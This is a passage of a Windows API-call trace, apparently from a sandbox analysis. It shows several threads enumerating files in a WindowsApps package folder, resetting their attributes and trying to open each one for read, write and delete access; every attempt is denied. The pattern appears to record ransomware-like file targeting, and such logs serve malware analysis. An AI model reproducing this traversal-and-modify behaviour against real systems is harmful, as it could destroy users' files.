	[0090.854] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.854] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.854] GetLastError () returned 0x5
	[0090.854] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47516c0) returned 1
	[0090.854] FindNextFileW (in: hFindFile=0x46a6e10, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a6d81b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33a6d81b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33a6d81b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0090.854] FindClose (in: hFindFile=0x46a6e10 | out: hFindFile=0x46a6e10) returned 1
	[0090.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711198) returned 1
	[0090.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5da0) returned 1
	[0090.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9b80) returned 1

Thread:
	id = 882
	os_tid = 0x3ec

	[0082.136] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.137] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.137] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.137] GetLastError () returned 0x5
	[0082.137] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e650) returned 1

Thread:
	id = 883
	os_tid = 0x598

	[0082.138] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png")) returned 0x20
	[0082.139] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x20) returned 0
	[0082.139] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.139] GetLastError () returned 0x5
	[0082.139] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x20) returned 0
	[0082.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476f8d0) returned 1

Thread:
	id = 884
	os_tid = 0x7b0

	[0082.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e33390
	[0082.140] wcscpy (in: _Dest=0x4e33390, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0082.140] wcscat (in: _Dest=0x4e33390, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0082.140] wcscat (in: _Dest=0x4e33390, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\*"
	[0082.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711400
	[0082.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\*", lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ccfdd0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9cba947, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33cf6025, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6e50
	[0082.140] wcscmp (_String1=".", _String2=".") returned 0
	[0082.140] FindNextFileW (in: hFindFile=0x46a6e50, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ccfdd0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9cba947, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33cf6025, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.140] wcscmp (_String1="..", _String2=".") returned 1
	[0082.140] wcscmp (_String1="..", _String2="..") returned 0
	[0082.140] FindNextFileW (in: hFindFile=0x46a6e50, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ccfdd0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33ccfdd0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33ccfdd0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.html", cAlternateFileName="")) returned 1
	[0082.140] wcscmp (_String1="bootstrap.html", _String2=".") returned 1
	[0082.140] wcscmp (_String1="bootstrap.html", _String2="..") returned 1
	[0082.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4766610
	[0082.140] wcscpy (in: _Dest=0x4766610, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0082.140] wcscat (in: _Dest=0x4766610, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0082.140] wcscat (in: _Dest=0x4766610, _Source="bootstrap.html" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html"
	[0090.839] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html")) returned 0x20
	[0090.839] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x20) returned 0
	[0090.839] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.839] GetLastError () returned 0x5
	[0090.839] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x20) returned 0
	[0090.839] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766610) returned 1
	[0090.839] FindNextFileW (in: hFindFile=0x46a6e50, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33cf6025, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33cf6025, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33cf6025, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x50cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.js", cAlternateFileName="")) returned 1
	[0090.839] wcscmp (_String1="bootstrap.js", _String2=".") returned 1
	[0090.839] wcscmp (_String1="bootstrap.js", _String2="..") returned 1
	[0090.839] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4778660
	[0090.839] wcscpy (in: _Dest=0x4778660, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0090.839] wcscat (in: _Dest=0x4778660, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0090.839] wcscat (in: _Dest=0x4778660, _Source="bootstrap.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js"
	[0090.839] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.js")) returned 0x20
	[0090.840] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js", dwFileAttributes=0x20) returned 0
	[0090.840] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.840] GetLastError () returned 0x5
	[0090.840] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js", dwFileAttributes=0x20) returned 0
	[0090.840] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778660) returned 1
	[0090.840] FindNextFileW (in: hFindFile=0x46a6e50, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33cf6025, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d27ae5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d27ae5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x78bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ormma.js", cAlternateFileName="")) returned 1
	[0090.840] wcscmp (_String1="ormma.js", _String2=".") returned 1
	[0090.840] wcscmp (_String1="ormma.js", _String2="..") returned 1
	[0090.840] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491bc18
	[0090.840] wcscpy (in: _Dest=0x491bc18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0090.840] wcscat (in: _Dest=0x491bc18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0090.840] wcscat (in: _Dest=0x491bc18, _Source="ormma.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js"
	[0090.840] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\ormma.js")) returned 0x20
	[0090.840] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js", dwFileAttributes=0x20) returned 0
	[0090.840] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\ormma.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.840] GetLastError () returned 0x5
	[0090.840] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js", dwFileAttributes=0x20) returned 0
	[0090.841] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491bc18) returned 1
	[0090.841] FindNextFileW (in: hFindFile=0x46a6e50, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33cf6025, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d27ae5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d27ae5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x78bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ormma.js", cAlternateFileName="")) returned 0
	[0090.841] FindClose (in: hFindFile=0x46a6e50 | out: hFindFile=0x46a6e50) returned 1
	[0090.841] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711400) returned 1
	[0090.841] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33390) returned 1
	[0090.841] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47675d8) returned 1

Thread:
	id = 885
	os_tid = 0x84

	[0082.141] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising.winmd")) returned 0x20
	[0082.142] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", dwFileAttributes=0x20) returned 0
	[0082.142] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.142] GetLastError () returned 0x5
	[0082.142] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", dwFileAttributes=0x20) returned 0
	[0082.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea8f8) returned 1

Thread:
	id = 886
	os_tid = 0xdac

	[0082.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4766c10
	[0082.143] wcscpy (in: _Dest=0x4766c10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.143] wcscat (in: _Dest=0x4766c10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.143] wcscat (in: _Dest=0x4766c10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711668
	[0082.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4711668 | out: lpFindFileData=0x4711668*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb4a05954, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb4a05954, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfcbee3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6e90
	[0082.144] wcscmp (_String1=".", _String2=".") returned 0
	[0082.144] FindNextFileW (in: hFindFile=0x46a6e90, lpFindFileData=0x4711668 | out: lpFindFileData=0x4711668*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb4a05954, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb4a05954, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfcbee3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.144] wcscmp (_String1="..", _String2=".") returned 1
	[0082.144] wcscmp (_String1="..", _String2="..") returned 0
	[0082.144] FindNextFileW (in: hFindFile=0x46a6e90, lpFindFileData=0x4711668 | out: lpFindFileData=0x4711668*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdfcbee3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdfcbee3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xdfcbee3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 1
	[0082.144] wcscmp (_String1="Autogen", _String2=".") returned 1
	[0082.144] wcscmp (_String1="Autogen", _String2="..") returned 1
	[0082.144] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x47169c8
	[0082.144] wcscpy (in: _Dest=0x47169c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.144] wcscat (in: _Dest=0x47169c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.144] wcscat (in: _Dest=0x47169c8, _Source="Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0090.831] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x47174b8
	[0090.831] wcscpy (in: _Dest=0x47174b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0090.831] wcscat (in: _Dest=0x47174b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0090.831] wcscat (in: _Dest=0x47174b8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*"
	[0090.831] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aed0
	[0090.831] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*", lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdfcbee3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdfcbee3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xdfcbee3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9a8
